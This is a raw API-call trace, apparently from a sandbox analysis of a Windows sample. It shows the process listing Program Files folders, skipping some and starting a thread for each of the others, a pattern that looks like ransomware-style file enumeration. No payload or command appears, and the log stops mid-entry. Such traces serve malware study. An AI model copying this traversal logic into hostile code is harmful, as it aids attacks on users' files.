[0085.547] wcscpy (in: _Dest=0x1b82bc70, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.547] wcscat (in: _Dest=0x1b82bc70, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.548] wcscat (in: _Dest=0x1b82bc70, _Source="Windows Journal" | out: _Dest="C:\\Program Files\\Windows Journal") returned="C:\\Program Files\\Windows Journal" [0085.548] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8 [0085.548] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddabdca0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddabdca0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0085.548] wcscmp (_String1="Windows Mail", _String2=".") returned 1 [0085.548] wcscmp (_String1="Windows Mail", _String2="..") returned 1 [0085.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bcc0 [0085.548] wcscpy (in: _Dest=0x1b82bcc0, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.549] wcscat (in: _Dest=0x1b82bcc0, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.549] wcscat (in: _Dest=0x1b82bcc0, _Source="Windows Mail" | out: _Dest="C:\\Program Files\\Windows Mail") returned="C:\\Program Files\\Windows Mail" [0085.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0085.549] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9ea8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0085.549] wcscmp (_String1="Windows Media Player", _String2=".") returned 1 [0085.549] wcscmp (_String1="Windows Media Player", _String2="..") returned 1 [0085.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7cea00 [0085.549] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.549] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.550] wcscat (in: _Dest=0x1b7cea00, _Source="Windows Media Player" | out: _Dest="C:\\Program Files\\Windows Media Player") returned="C:\\Program Files\\Windows Media Player" [0085.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0085.550] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb7c380, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb7c380, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0085.550] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0085.550] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0085.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d7f00 [0085.550] wcscpy (in: _Dest=0x1b7d7f00, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.550] wcscat (in: _Dest=0x1b7d7f00, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.550] wcscat (in: _Dest=0x1b7d7f00, _Source="Windows NT" | out: _Dest="C:\\Program Files\\Windows NT") returned="C:\\Program Files\\Windows NT" [0085.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f00) returned 1 [0085.550] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdd8103e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd8103e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0085.550] wcscmp (_String1="Windows Photo Viewer", _String2=".") returned 1 [0085.550] wcscmp (_String1="Windows Photo Viewer", _String2="..") returned 1 [0085.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b7cea00 [0085.550] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.550] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.550] wcscat (in: _Dest=0x1b7cea00, _Source="Windows Photo Viewer" | out: _Dest="C:\\Program Files\\Windows Photo Viewer") returned="C:\\Program Files\\Windows Photo Viewer" [0085.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0085.550] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0085.550] wcscmp (_String1="Windows Portable Devices", _String2=".") returned 1 [0085.550] wcscmp (_String1="Windows Portable Devices", _String2="..") returned 1 [0085.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b7cea00 [0085.550] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.550] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.550] wcscat (in: _Dest=0x1b7cea00, _Source="Windows Portable Devices" | out: _Dest="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0085.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0085.551] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddb09f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb09f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0085.551] wcscmp (_String1="Windows Sidebar", _String2=".") returned 1 [0085.551] wcscmp (_String1="Windows Sidebar", _String2="..") returned 1 [0085.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bd10 [0085.551] wcscpy (in: _Dest=0x1b82bd10, _Source="C:\\Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files" [0085.551] wcscat (in: _Dest=0x1b82bd10, _Source="\\" | out: _Dest="C:\\Program Files\\") returned="C:\\Program Files\\" [0085.551] wcscat (in: _Dest=0x1b82bd10, _Source="Windows Sidebar" | out: _Dest="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0085.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bd10) returned 1 [0085.551] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xddb09f60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb09f60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0085.551] FindClose (in: hFindFile=0x1b7ce940 | out: hFindFile=0x1b7ce940) returned 1 [0085.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a3c0) returned 1 [0085.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a3f0) returned 1 Thread: id = 92 os_tid = 0x5cc [0085.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7f00 [0085.555] wcscpy (in: _Dest=0x1b7d7f00, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.555] wcscat (in: _Dest=0x1b7d7f00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.555] wcscat (in: _Dest=0x1b7d7f00, _Source="*" | out: _Dest="C:\\Program Files (x86)\\*") returned="C:\\Program Files (x86)\\*" [0085.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.555] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce940 [0085.555] wcscmp (_String1=".", _String2=".") returned 0 [0085.555] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.555] wcscmp (_String1="..", _String2=".") returned 1 [0085.555] wcscmp (_String1="..", _String2="..") returned 0 [0085.555] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdda719e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda719e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0085.555] wcscmp (_String1="Adobe", _String2=".") returned 1 [0085.555] wcscmp (_String1="Adobe", _String2="..") returned 1 [0085.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bd10 [0085.555] wcscpy (in: _Dest=0x1b82bd10, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.555] wcscat (in: _Dest=0x1b82bd10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.555] wcscat (in: _Dest=0x1b82bd10, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Adobe") returned="C:\\Program Files (x86)\\Adobe" [0085.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bd10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0085.556] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xddb300c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddb300c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0085.556] wcscmp (_String1="Common Files", _String2=".") returned 1 [0085.556] wcscmp (_String1="Common Files", _String2="..") returned 1 [0085.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bd60 [0085.556] wcscpy (in: _Dest=0x1b82bd60, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.556] wcscat (in: _Dest=0x1b82bd60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.556] wcscat (in: _Dest=0x1b82bd60, _Source="Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0085.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bd60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0 [0085.557] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0085.557] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0085.557] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0085.557] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0085.557] wcscmp (_String1="Google", _String2=".") returned 1 [0085.557] wcscmp (_String1="Google", _String2="..") returned 1 [0085.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1b82bdb0 [0085.557] wcscpy (in: _Dest=0x1b82bdb0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.557] wcscat (in: _Dest=0x1b82bdb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.557] wcscat (in: _Dest=0x1b82bdb0, _Source="Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0085.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4 [0085.558] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0085.558] wcscmp (_String1="Internet Explorer", _String2=".") returned 1 [0085.558] wcscmp (_String1="Internet Explorer", _String2="..") returned 1 [0085.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7cea00 [0085.558] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.558] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.558] wcscat (in: _Dest=0x1b7cea00, _Source="Internet Explorer" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0085.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cea00) returned 1 [0085.558] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xdd8103e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd8103e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0085.558] wcscmp (_String1="Java", _String2=".") returned 1 [0085.558] wcscmp (_String1="Java", _String2="..") returned 1 [0085.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d7f40 [0085.558] wcscpy (in: _Dest=0x1b7d7f40, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.558] wcscat (in: _Dest=0x1b7d7f40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.558] wcscat (in: _Dest=0x1b7d7f40, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0085.558] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d7f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0085.559] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0085.559] wcscmp (_String1="Microsoft Analysis Services", _String2=".") returned 1 [0085.559] wcscmp (_String1="Microsoft Analysis Services", _String2="..") returned 1 [0085.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1b10 [0085.559] wcscpy (in: _Dest=0x1b7c1b10, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.559] wcscat (in: _Dest=0x1b7c1b10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.559] wcscat (in: _Dest=0x1b7c1b10, _Source="Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0085.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0085.560] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xddba24e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddba24e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0085.560] wcscmp (_String1="Microsoft Office", _String2=".") returned 1 [0085.560] wcscmp (_String1="Microsoft Office", _String2="..") returned 1 [0085.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b7cea00 [0085.560] wcscpy (in: _Dest=0x1b7cea00, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.560] wcscat (in: _Dest=0x1b7cea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.560] wcscat (in: _Dest=0x1b7cea00, _Source="Microsoft Office" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0085.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cea00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0085.561] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdda25720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda25720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="MICROS~3")) returned 1 [0085.561] wcscmp (_String1="Microsoft Visual Studio 8", _String2=".") returned 1 [0085.561] wcscmp (_String1="Microsoft Visual Studio 8", _String2="..") returned 1 [0085.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0085.561] wcscpy (in: _Dest=0x1b7c1b80, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.561] wcscat (in: _Dest=0x1b7c1b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.561] wcscat (in: _Dest=0x1b7c1b80, _Source="Microsoft Visual Studio 8" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8" [0085.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0085.562] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xddbc8640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddbc8640, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0085.562] wcscmp (_String1="Microsoft.NET", _String2=".") returned 1 [0085.562] wcscmp (_String1="Microsoft.NET", _String2="..") returned 1 [0085.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b7cea60 [0085.562] wcscpy (in: _Dest=0x1b7cea60, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.562] wcscat (in: _Dest=0x1b7cea60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.562] wcscat (in: _Dest=0x1b7cea60, _Source="Microsoft.NET" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0085.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7cea60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0085.563] FindNextFileW (in: hFindFile=0x1b7ce940, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xddba24e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddba24e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0085.563] wcscmp (_String1="Mozilla Firefox", _String2=".") returned 1 [0085.563] wcscmp (_String1="Mozilla Firefox", _String2="..") returned 1 [0085.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b7ceac0 [0085.563] wcscpy (in: _Dest=0x1b7ceac0, _Source="C:\\Program Files (x86)" | out: _Dest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0085.563] wcscat (in: _Dest=0x1b7ceac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0085.563] wcscat (in: _Dest=0x1b7ceac0, _Source="Mozilla Firefox" | out: _Dest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0085.563] RtlFreeHeap (HeapHandle=0xa0000, 